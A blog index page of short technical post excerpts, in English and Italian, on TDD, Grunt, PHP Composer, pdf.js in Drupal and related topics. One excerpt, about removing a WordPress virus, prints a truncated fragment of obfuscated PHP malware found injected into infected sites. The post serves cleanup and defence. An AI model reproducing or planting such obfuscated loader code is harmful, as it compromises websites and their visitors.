TDD or not TDD? This isn’t the question.

Instead of reply to these reasons: http://www.phpclasses.org/blog/post/237-7-Reasons-Why-TDD-Failed-to-become-Mainstream.html I prefer to find what make testing hard: mock object, the missing part! All these arguments seems to fail to understand that TDD is not just testing, it is to guarantee SOLID principle of object oriented design Liskov substitution, Interface segretation, Dependency inversion, and also single responsibility and open/close […]

Use Grunt. Always

The worst could happen, but use grunt. Always. A little lesson from wasted time. Code could be wrong, thus it has to be tested, and tested, and tested. Automate that test. Do not wait to waste any more time. A note on grunt is that shell can do the most, for example lftp is very […]

Javascript come fare a meno di with

Esce fuori che non posso fare a meno di with usando strict mode, mi sono chiesto come faccio a non avere effetti collatorali per via della closure, la soluzione che ho trovato è stata:   for(esaid in myarr) { var getter = function () { console.log(‘this is THIIIS’,this); return function(success) { if(success.error) { $scope.errorMessage = […]

php composer: npm like tool

A good introduction to the php composer: http://www.phpclasses.org/blog/post/221-Speedup-Your-Web-Deployments-Using-Composer-to-Install-PHP-Classes-Packages.html The site https://packagist.org is where to post package. It is almost a clone of npm and I like it. Image: it came from getcomposer site, from http://wizardcat.com/

Display online pdfs attachment in drupal with pdf.js

pdf.js (https://github.com/mozilla/pdf.js) is a mozilla project for rendering pdf files with javascript. Now it came with a standard Firefox download, but not everyone is using Firefox, thus it came the drupal module: https://drupal.org/project/pdf Simple steps: activate pdf drupal module and libraries (on which pdf depends) read http://drupalcode.org/project/pdf.git/blob_plain/refs/heads/7.x-1.x:/README.txt but it could be misleading download the package from https://github.com/mozilla/pdf.js, the package, or git […]

Costruire un archivio con PHAR per farne una copia statica, o usare il dbms?

Mi è stato chiesto di fare una versione statica di una parte di sito (una sottocartella), così ho preso wget e scaricato i file (wget -nc -r http://host.domain/directory). La parte in questione è una applicazione PHP/MySql che usa mod_rewrite, così il numero di file è effettivamente molto alto. Ora il problema sarebbe quello di gestire […]

Rimuovere un virus da wordpress

Non ho voglia di indagare da dove entrano e come fanno, suppongo sia qualcosa riguardo a xmlrpc, comunque mi capita di trovare in alcuni siti dei file in wordpress con un bel pezzo di codice all’inizio che fa più o meno così: <?php $nuvjmhnfek = ‘x787fw6*%x5c%x787f_*#[k2%x5c%x7860{6:!}7;!})q%x5c%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%xbq#%x5c%x785cq%x5c%x7825%x5c%x7827jsv%x5c%x78256<C>utcvt)!gj!|!*bubE{h%x5c%x78 ….. $nlbrprkqdg = explode(chr((208-164)),’3218,48,5590,70,4453,66,8070,26,2370,30,2907,69,714,25,4556,24,7366,42,6995,70,7662,67,7952,20,4821,58,5660,38,9197,50,3794,32,5475,53,5299,25,2451,49,3716,20,9116,48,8581,59,1739,50,6545,58,1693,46,950,66,7211,50,5528,62,7895,57,9591,46,9678,20,2282,23,6368,70,93,51,8483,44,1216,66,10078,28,4288,43,3130,61,2770,36,7408,26,6930,65,5039,22,8640,63,1059,70,7729,28,5919,23,5942,42,374,57,0,43,4580,43,1336,24,5061,55,3878,39,9371,41,9765,20,4141,66,3451,70,7972,36,8867,50,7470,51,6077,53,4076,65,9301,37,3521,62,9338,33,8008,36,5828,68,3040,67,7825,70,144,66,1016,43,3618,32,8203,39,6503,42,9463,21,7261,43,3107,23,2071,51,797,55,6832,56,1129,48,9045,22,1553,56,9484,43,10047,31,493,27,3365,23,4879,21,1456,35,5237,62,2860,47,852,38,9698,67,6130,23,9940,45,6335,33,280,52,1609,52,8527,54,4352,42,8917,65,2700,70,7107,48,520,52,5776,24,3191,27,3650,66,3855,23,4011,65,4254,34,7757,68,3826,29,8385,27,5205,32,6268,67,1953,70,9164,33,210,36,2228,54,7304,62,9785,66,9985,36,6235,33,4952,38,9527,64,1491,62,4394,59,9434,29,6153,34,8791,45,9067,49,8744,47,2806,54,8044,26,2047,24,332,42,8242,45,4207,47,43,50,2976,64,4990,49,5324,38,2023,24,3388,63,8412,43,9637,41,2609,64,6438,65,8351,34,3736,58,9907,33,10021,26,6053,24,1856,41,246,34,8160,43,4623,67,2122,70,1360,36,9247,54,8703,41,2589,20,5430,45,4519,37,1177,39,1661,32,1789,67,7626,36,5723,53,1282,54,762,35,4900,52,6603,49,2500,37,572,56,1396,20,6801,31,6652,29,2673,27,5362,68,5116,24,5698,25,7434,36,890,60,9412,22,7584,42,3266,70,6888,42,3968,43,7155,56,6735,66,5800,28,7065,42,2537,52,6681,54,739,23,7521,63,2192,36,6211,24,8096,64,4690,34,4724,59,2305,65,5140,65,3336,29,689,25,5896,23,1897,56,9851,56,3917,51,8455,28,1416,40,628,61,8836,31,5984,34,2400,51,6187,24,4783,38,6018,35,8982,63,431,62,3583,35,8287,64,4331,21’); $nmtziabvfq=substr($nuvjmhnfek,(64154-54048),(22-15)); if (!function_exists(‘mytkhaykjh’)) { function […]

Little tool spot (php to UML)

This is my little endorsement to this tool http://tech.motion-twin.com/php_php2xmi.html really usefull to extract uml from an existing PHP project. In GNU/Linux system (actually Bsd world too) there is at least Umbrello which read and write XMI format. I am not expert of MS Windows world I just tryed googling it, I found this: http://www.altova.com/umodel/xmi.html . Umodel is 149$ […]